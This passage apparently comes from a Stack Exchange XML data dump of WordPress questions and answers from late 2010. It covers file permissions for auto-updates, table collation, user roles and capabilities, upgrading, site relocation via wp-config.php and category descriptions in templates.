the part of it that is referring to &lt;code&gt;/public_html&lt;/code&gt; out of your error message.&lt;/li&gt;&#xA;&lt;li&gt;Locate that directory in the file system based on &lt;em&gt;&quot;Installation-Path&quot;&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Check if it exists.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If it does not exist, you have got a path configuration problem. If so, configure wordpress to use a correct path:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Locate your correct path to the blogs installation.&lt;/li&gt;&#xA;&lt;li&gt;Locate the setting(s) that contain the wrong path.&lt;/li&gt;&#xA;&lt;li&gt;Correct all wrong setting(s) to the right path.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check if you still get an error message and restart from top if so.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Gain knowledge about which user is executing PHP on your server.&lt;/li&gt;&#xA;&lt;li&gt;Identify the username and -id. Write both down.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you can not find out about the user, contact your hoster for the information.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check if the user has enough rights in the filesystem to access the path in questions for the following actions:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Read directories&lt;/li&gt;&#xA;&lt;li&gt;Create files and directories&lt;/li&gt;&#xA;&lt;li&gt;Delete files and directories&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;If any of the three checks under 7. did not work you found a cause of the error message. Your user does not have enough rights on the file-system to perform an auto-update. Please re-configure your file-system that all three work out. Then re-check and continue from top in case you still get an error.&lt;/li&gt;&#xA;&lt;li&gt;Check that directories created new by that user do have the propper rights set to perform these three actions inside newly created directories as well.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If that is not the case you need to reconfigure your file-system &lt;em&gt;and&lt;/em&gt; wordpress (hint: &lt;code&gt;FS_CHMOD_DIR&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;After reconfiguration, re-test and continue from top if you still get an error.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check the same as in 9. but for files created new by that user.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If that is not the case you need to reconfigure your file-system &lt;em&gt;and&lt;/em&gt; wordpress (hint: &lt;code&gt;FS_CHMOD_FILE&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;After reconfiguration, re-test and continue from top if you still get an error.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How to perform the tests? If you don't know how to perform these tests in context of your wordpress installation, please contact technical support for either your host and or wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional stuff you should check are the file-system methods. A helpful thingy to gain more knowledge here is &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control (Wordpress Plugin)&lt;/a&gt;, good to know for use is this &lt;a href=&quot;http://dd32.id.au/2009/02/20/wordpress-filesystem-abstraction-faq/&quot; rel=&quot;nofollow&quot;&gt;WordPress Filesystem Abstraction FAQ (DD32 Blogpost)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I assume it's most probably some configuration issue related to your file-system I assumed that you're using the direct method for file-system-access. If not, the checklist above might help you to enable your server for the direct method which is the preferred one.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-25T14:03:38.907" />
  <row Id="5927" PostTypeId="1" AcceptedAnswerId="5937" CreationDate="2010-12-25T15:34:24.933" Score="1" ViewCount="277" Body="&lt;p&gt;I'm following &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt; to make my plugin auto-create a table when the plugin is activated, but what happens is that while all the tables (the whole db) are utf8_general_ci, the newly created table is latin1_swedish_ci... Why isn't it also utf8? I thought it would also be utf8 by default since I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('DB_COLLATE', 'utf8_general_ci');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my wp-config.php... I have everything exactly the same like in the link provided, except the function name, and I have different SQL fields... How to make the newly created table utf8 by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function duende_install() {&#xA;global $wpdb;&#xA;global $duende_db_version;&#xA;&#xA;$table_name = $wpdb-&amp;gt;prefix . &quot;duendes&quot;;&#xA;if($wpdb-&amp;gt;get_var(&quot;show tables like '$table_name'&quot;) != $table_name) {&#xA;    $sql = &quot;CREATE TABLE &quot; . $table_name . &quot; (&#xA;        id mediumint(9) NOT NULL AUTO_INCREMENT,&#xA;        shape tinytext NOT NULL,&#xA;        integrity tinytext NOT NULL,&#xA;        length tinytext NOT NULL,&#xA;        drone tinytext NOT NULL,&#xA;        wood tinytext NOT NULL,&#xA;        mouth tinytext NOT NULL,            &#xA;        rim tinytext NOT NULL,&#xA;        bell tinytext NOT NULL,                     &#xA;        loud tinytext NOT NULL,                     &#xA;        mass tinytext NOT NULL,                     &#xA;        finish tinytext NOT NULL,   &#xA;        inlay tinytext NOT NULL,                    &#xA;        price smallint DEFAULT '0' NOT NULL,&#xA;        sold tinytext NOT NULL,                                             &#xA;        UNIQUE KEY id (id)&#xA;    );&quot;;&#xA;&#xA;    require_once(ABSPATH . 'wp-admin/includes/upgrade.php');&#xA;    dbDelta($sql);&#xA;&#xA;    add_option(&quot;duende_db_version&quot;, $duende_db_version);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="1535" LastEditorUserId="1535" LastEditorDisplayName="" LastEditDate="2010-12-25T20:47:21.587" LastActivityDate="2010-12-26T13:46:22.523" Title="Default table collation on plugin activation?" Tags="&lt;plugin-development&gt;&lt;database&gt;&lt;collation&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="5928" PostTypeId="1" AcceptedAnswerId="8651" CreationDate="2010-12-25T17:42:05.213" Score="2" ViewCount="190" Body="&lt;p&gt;how are you ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have in my site (post_type called = books)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to make some users for example (Library) to create a books (post_type = books) ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the code to add rols (called = library) ..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$library = add_role('library', 'library', array(&#xA;    'read' =&amp;gt; true, &#xA;    'edit_posts' =&amp;gt; true,&#xA;    'delete_posts' =&amp;gt; false, &#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The library Role can create (any type of post) , I want it to create books (post_type) ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish you understand me ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you very much ^_^&lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2011-02-05T23:04:31.390" Title="using add_role function to make some users to create a selected type post " Tags="&lt;custom-post-types&gt;&lt;user-roles&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5929" PostTypeId="1" AcceptedAnswerId="10892" CreationDate="2010-12-25T19:15:35.903" Score="0" ViewCount="106" Body="&lt;p&gt;For example, I want to use add_menu_page() function to add a menu item to the dashboard. To control which users will be able to access it, I'm supposed to use capabilities... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if I want to grant access to that menu page to - superadmin, admin, editor and author so that all users with one of these roles could access it, what am I supposed to put as $capability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking at &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt; table and as far as I figure, I should put one of these four as $capability:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;edit_published_posts &lt;/li&gt;&#xA;&lt;li&gt;upload_files&lt;/li&gt;&#xA;&lt;li&gt;publish_posts &lt;/li&gt;&#xA;&lt;li&gt;delete_published_posts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if roles&amp;amp;capabilities haven't been altered via some plugin, picking one of these four should grant access to all the four roles just like I want it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the usual practise, or am I supposed to do it in some other way? Am I supposed to somehow add more than one capability into $capability, or is just one enough? If only one is enough, which one of these four would be the best choice, or it does not matter as long as roles are not altered to be different than default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2011-03-02T08:37:41.860" Title="How to determine which capability to use?" Tags="&lt;plugin-development&gt;&lt;php&gt;&lt;roles&gt;&lt;capabilities&gt;&lt;best-practices&gt;" AnswerCount="2" />
  <row Id="5930" PostTypeId="2" ParentId="5929" CreationDate="2010-12-25T19:29:11.950" Score="1" ViewCount="" Body="&lt;p&gt;Not sure is that a rule or just something that happens to work that way, but most of function that take capability as argument also accept roles in same argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am not mistaken passing lowest role you want to grant access (&lt;code&gt;'author'&lt;/code&gt;) should work for that role and upwards. Please test before use.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-25T19:29:11.950" CommentCount="2" />
  <row Id="5932" PostTypeId="1" CreationDate="2010-12-25T19:41:23.647" Score="0" ViewCount="86" Body="&lt;p&gt;I have a wordpress blog running 2.9. I haven't made many mosts yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am considering upgrading to Wordpress 3.0. What are the pros and cons of upgrading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will 3.0 increase security?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there less or more plugin support with 3.0?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2156" LastActivityDate="2010-12-25T22:24:30.627" Title="2.9 to 3.0: Pros and cons of upgrading?" Tags="&lt;3.0&gt;&lt;3.0.1&gt;&lt;upgrade&gt;" AnswerCount="3" />
  <row Id="5933" PostTypeId="1" AcceptedAnswerId="13010" CreationDate="2010-12-25T20:23:48.693" Score="3" ViewCount="358" Body="&lt;p&gt;I'm planing to create a plugin called Goodbye Dolly. Once installed, it will take care for the installation to remove the auto-installing &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-content/plugins/hello.php&quot; rel=&quot;nofollow&quot;&gt;Hello Dolly (Wordpress Plugin)&lt;/a&gt; shipping with wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is due to popular request. Some folks have asked for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the idea. I never cared so far because I removed it manually. But I like the idea to save the hassles and have this removal automated for the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to just delete the file when it exists basically. But I'm unsure a bit about file system abstraction. And I would like to do this on install / update already, so this does not needs to be checked for all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So which hooks are to be considered? Any best practice ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Homepage: &lt;a href=&quot;http://hakre.wordpress.com/plugins/goodbye-dolly/&quot; rel=&quot;nofollow&quot;&gt;http://hakre.wordpress.com/plugins/goodbye-dolly/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Repository: &lt;a href=&quot;http://wordpress.org/extend/plugins/goodbye-dolly/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/goodbye-dolly/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-27T18:09:48.907" LastActivityDate="2011-03-25T05:14:51.357" Title="How to delete the Hello Dolly plugin automatically?" Tags="&lt;plugins&gt;&lt;automate&gt;&lt;removal&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="5935" PostTypeId="2" ParentId="5932" CreationDate="2010-12-25T20:33:32.817" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Is there less or more plugin support with 3.0?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very subjective question because this is based on which plugins you are using. Generally I think there are more plugins available for 2.9.x or even 2.8.x but these numbers might be just misleading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have not modified your blog at large so far and your theme and plugins are compatible with wordpress 3.0, you can consider upgrading. Do a backup first so you can go back in case something breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 2 cents.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-25T20:33:32.817" />
  <row Id="5936" PostTypeId="2" ParentId="5933" CreationDate="2010-12-25T20:39:03.993" Score="1" ViewCount="" Body="&lt;p&gt;Mike had covered &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1714/initialization-script-for-standard-aspects-of-a-wordpress-website/1715#1715&quot;&gt;killing Dolly in one of his answers&lt;/a&gt;, but that was written for initial install script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to follow code that upgrades core to find a fitting hook, but that is quite a maze with some upgrader classes I am not acquainted with yet.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-25T20:39:03.993" CommentCount="1" />
  <row Id="5937" PostTypeId="2" ParentId="5927" CreationDate="2010-12-25T20:55:22.540" Score="2" ViewCount="" Body="&lt;p&gt;You're missing the point that there is collation not only for the DB but as well for tables and even fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore from your point of view, I assume that your CREATE TABLE statement is &quot;not complete&quot;. Before using SQL statements, please learn the language first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/create-table.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;CREATE TABLE&lt;/code&gt; Syntax (MySQL Manual)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially &lt;code&gt;table_options&lt;/code&gt; / &lt;code&gt;table_option&lt;/code&gt; and &lt;code&gt;[DEFAULT] COLLATE [=] collation_name&lt;/code&gt; there in.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Please see &lt;strong&gt;&lt;a href=&quot;http://hakre.wordpress.com/2010/12/26/wordpress-database-charset-and-collation-configuration/&quot; rel=&quot;nofollow&quot;&gt;Wordpress Database Charset and Collation Configuration&lt;/a&gt;&lt;/strong&gt; for an in-depth description where and how to setup wordpress regarding charset and collation.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-26T13:46:22.523" LastActivityDate="2010-12-26T13:46:22.523" CommentCount="3" />
  <row Id="5938" PostTypeId="1" CreationDate="2010-12-25T20:55:34.467" Score="0" ViewCount="72" Body="&lt;p&gt;i have a buddypress blog at &lt;a href=&quot;http://thelazy.info&quot; rel=&quot;nofollow&quot;&gt;http://thelazy.info&lt;/a&gt; . When I click on a user his buddypress profile opens up. Can there be a summary of his posts in his buddy profile or directly that opening up when user clicks on the person's name besides his post.&lt;/p&gt;&#xA;" OwnerUserId="1926" LastActivityDate="2011-01-06T21:52:34.913" Title="Summary of Posts by an User" Tags="&lt;posts&gt;&lt;users&gt;&lt;buddypress&gt;" AnswerCount="2" />
  <row Id="5939" PostTypeId="2" ParentId="5932" CreationDate="2010-12-25T20:55:47.463" Score="0" ViewCount="" Body="&lt;p&gt;It is highly recommended to always run latest WordPress version available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress has decent backwards compatibility so you lose more from not having access to latest functionality by running old version for plugins that only work on older versions.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-25T20:55:47.463" />
  <row Id="5941" PostTypeId="1" AcceptedAnswerId="5948" CreationDate="2010-12-25T22:13:11.037" Score="0" ViewCount="374" Body="&lt;p&gt;i asked this on SO but got no where. &#xA;i will try asking here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this works fine in category.php &lt;code&gt;&amp;lt;?php echo category_description(the_category_id()); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it does not work in single.php, just the category id shows up not the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas, how to get this done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in category: &lt;code&gt;&amp;lt;?php echo strip_tags(category_description(4)); ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in single &lt;code&gt;&amp;lt;?php echo category_description(the_category_id()); ?&amp;gt;&lt;/code&gt; cat id = 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i know i'm not striping the tags..for single&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm just trying to display the cat desc when in the single post page.&lt;/p&gt;&#xA;" OwnerUserId="1043" LastEditorUserId="1043" LastEditorDisplayName="" LastEditDate="2010-12-26T04:00:35.587" LastActivityDate="2011-05-30T18:31:45.290" Title="echo category description in single.php" Tags="&lt;categories&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="5942" PostTypeId="2" ParentId="5932" CreationDate="2010-12-25T22:24:30.627" Score="0" ViewCount="" Body="&lt;p&gt;It's good practice to be running the latest version, as it is more secure than previous ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking specifically to 3.0, you would gain the ability to create your own custom types, right in the core, without having to hack it on with categories, tags, or plugins. There's also better menu management, and a new standard theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not to mention, 3.1 is near release, and will include some new standard content types out of the box, so there's less need to create your own custom types. The custom type functionality is still in there, though, if you have specific needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking to plugins, there tends to be better support for older WP versions, as they have been available for some time. Though in the past, WP updates have &quot;broken&quot; some plugins due to API or database changes. This has kept some users back from upgrading.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-12-25T22:24:30.627" CommentCount="1" />
  <row Id="5945" PostTypeId="2" ParentId="5941" CreationDate="2010-12-26T02:38:38.963" Score="-2" ViewCount="" Body="&lt;p&gt;Enable &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;WP_DEBUG&lt;/a&gt; and fix all notices. You find additional information about wordpress functions in &lt;a href=&quot;http://codex.wordpress.org&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;. Just google for &lt;code&gt;codex&lt;/code&gt; and the name of the function.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-26T02:38:38.963" />
  <row Id="5947" PostTypeId="2" ParentId="5915" CreationDate="2010-12-26T03:09:12.577" Score="3" ViewCount="" Body="&lt;p&gt;If you have problems to log even into your blog, edit wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add these two lines to your wp-config.php, where &quot;example.com&quot; is the NEW location of your site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME','http://example.com');&#xA;define('WP_SITEURL','http://example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will at least make it useable again (but won't fix links inside post and page content, see &lt;a href=&quot;http://core.trac.wordpress.org/ticket/4003&quot; rel=&quot;nofollow&quot;&gt;Ticket #4003&lt;/a&gt;). .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you can add this third line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('RELOCATE',true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then go immediatly to &lt;code&gt;http://example.com/wp-login.php&lt;/code&gt; and login as normal. &lt;em&gt;When the RELOCATE flag is set to true, the siteurl (NOT the home setting) will be automatically updated to whatever path you are using to access the login screen. This will get the admin section up and running on the new URL, but it will not correct any other part of the setup. Those you will still need to alter manually.&lt;/em&gt; (&lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL#Relocate_method&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on how to change the URL can be found in &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Changing The Site URL (Wordpress Codex)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-26T03:09:12.577" />
  <row Id="5948" PostTypeId="2" ParentId="5941" CreationDate="2010-12-26T04:30:08.270" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@andrewk&lt;/strong&gt; - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the code that follows the screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Sierra_Nevada_Bigfoot_%7C_WordPress_3.0_Test_Site-20101225-232829.jpg&quot; alt=&quot;Displaying WordPress Category Description&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $categories = get_the_category();&#xA;  foreach($categories as $key =&amp;gt; $category) {&#xA;    $url = get_term_link((int)$category-&amp;gt;term_id,'category');&#xA;    $categories[$key] =&#xA;      &quot;&amp;lt;dt&amp;gt;&amp;lt;a href=\&quot;{$url}\&quot;&amp;gt;{$category-&amp;gt;name}&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&quot; .&#xA;      &quot;&amp;lt;dd&amp;gt;{$category-&amp;gt;category_description}&amp;lt;/dd&amp;gt;&quot;;&#xA;  }&#xA;  echo &quot;&amp;lt;dl&amp;gt;\n&quot; . implode(&quot;\n&quot;,$categories) . &quot;\n&amp;lt;/dl&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;code&gt;&amp;lt;?php echo category_description(the_category_id()); ?&amp;gt;&lt;/code&gt; doesn't do what you think it does.  What follows will work on your category pages because it assumes the category ID for the category page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo category_description(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI, &lt;code&gt;the_category_id()&lt;/code&gt; will echo the value of the current category ID, it doesn't actually pass anything to &lt;code&gt;category_description()&lt;/code&gt; is looks like was your assumption. Besides, &lt;code&gt;the_category_ID()&lt;/code&gt; is &lt;a href=&quot;http://codex.wordpress.org/WordPress_Deprecated_Functions_Hook&quot; rel=&quot;nofollow&quot;&gt;deprecated&lt;/a&gt; so you wouldn't want to use it anyway. By the way, I'll bet you are seeing an errant number being displayed just before the category description is displayed?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-26T04:30:08.270" CommentCount="8" />
  <row Id="5950" PostTypeId="1" AcceptedAnswerId="5961" CreationDate="2010-12-26T09:10:20.563" Score="0" ViewCount="156" Body="&lt;p&gt;I've just moved to another theme, and it uses the custom field &lt;code&gt;bigimage&lt;/code&gt; for associating an image with a post, instead of using WordPress's post thumbnails. How do I copy the URLs of all existing post-thumnails to their corresponding post's &lt;code&gt;bigimage&lt;/code&gt; custom field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could we possibly write a bunch of MySQL statements to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastActivityDate="2010-12-26T19:02:25.500" Title="Copying post thumbnail to custom field" Tags="&lt;themes&gt;&lt;images&gt;&lt;mysql&gt;&lt;posts&gt;" AnswerCount="2" />
  <row Id="5951" PostTypeId="2" ParentId="5927" CreationDate="2010-12-26T09:43:46.120" Score="2" ViewCount="" Body="&lt;p&gt;just in case somebody does need this, you could set the collation this way.. the row after the &lt;code&gt;UNIQUE KEY id (id)&lt;/code&gt; part should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;) DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2010-12-26T09:43:46.120" CommentCount="2" />
  <row Id="5952" PostTypeId="1" CreationDate="2010-12-26T10:27:21.577" Score="1" ViewCount="103" Body="&lt;p&gt;Just wondering if any of you have run across this kind of plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'd like to be able to (a) specify my own image; (b) specify my own challenge question; (c) specify my own answer.  As in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(a) an image of the word &quot;orange&quot; written in Old English&#xA;(b) &quot;Type the word you see in the picture&quot;&#xA;(c) the answer is &quot;orange&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a plugin exist?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1105" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-26T14:56:14.430" LastActivityDate="2011-01-25T18:40:44.280" Title="CAPTCHA plugin where I can use my own images and ask my own questions?" Tags="&lt;plugin-recommendation&gt;&lt;plugins&gt;&lt;spam&gt;&lt;captcha&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="5953" PostTypeId="2" ParentId="5866" CreationDate="2010-12-26T14:44:59.277" Score="1" ViewCount="" Body="&lt;p&gt;You need to look inside the files and follow the program flow to find out about hooks and global variables to interact with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multi-Site Setup is a mess hook-wise, this can be pretty hacky. Some hints to far:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Standard User Registration (Single-Site)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;File: &lt;code&gt;wp-login.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function: &lt;code&gt;register_new_user()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hooks: &lt;code&gt;register_post&lt;/code&gt;, &lt;code&gt;registration_errors&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Site Registration (Multi-Site)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;File: &lt;code&gt;wp-signup.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functions: &lt;code&gt;validate_another_blog_signup()&lt;/code&gt;, &lt;code&gt;signup_another_blog()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hook: &lt;code&gt;wpmu_validate_user_signup&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-26T14:44:59.277" />
  <row Id="5954" PostTypeId="2" ParentId="5952" CreationDate="2010-12-26T14:55:54.383" Score="1" ViewCount="" Body="&lt;p&gt;I can not recommend you one that does this, but you can review all captcha plugins on worpdress org regarding your needs and then report back which did this or at least partially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tinyurl.com/32fapn9&quot; rel=&quot;nofollow&quot;&gt;Perform an optimized search&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-26T14:55:54.383" CommentCount="2" />
  <row Id="5955" PostTypeId="1" AcceptedAnswerId="6817" CreationDate="2010-12-26T17:01:24.323" Score="1" ViewCount="960" Body="&lt;p&gt;I really need a comprehensive solution to this, so I'm offering up almost a quarter of my rep in bounty :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a plugin that creates a custom category listing on my home page. To do this, I'd like the &quot;Category Edit&quot; screen to be augmented with some additional functions as described below...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Adds &quot;Upload/Delete Image&quot; handler to the Category Edit Screen for a Given Category (this allows the end user to upload an image that will be used to represent the category. Ideally, it should automatically be resized to 125 pixels wide by the plugin when uploaded.&lt;/li&gt;&#xA;&lt;li&gt;Adds &quot;Category Title&quot; input field to the Category Edit Screen for a Given Category. This is in addition to the existing default &quot;Name&quot; field.&lt;/li&gt;&#xA;&lt;li&gt;Adds a checkbox titled &quot;Show on homepage listing&quot; to allow selective display of each category on the home page listing.&lt;/li&gt;&#xA;&lt;li&gt;When the home page is viewed, the plugin appends the_content with the custom category listing, including each category's custom thumbnail and title.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The resulting markup should be an unordered list with no nesting, like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;custom-categories&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        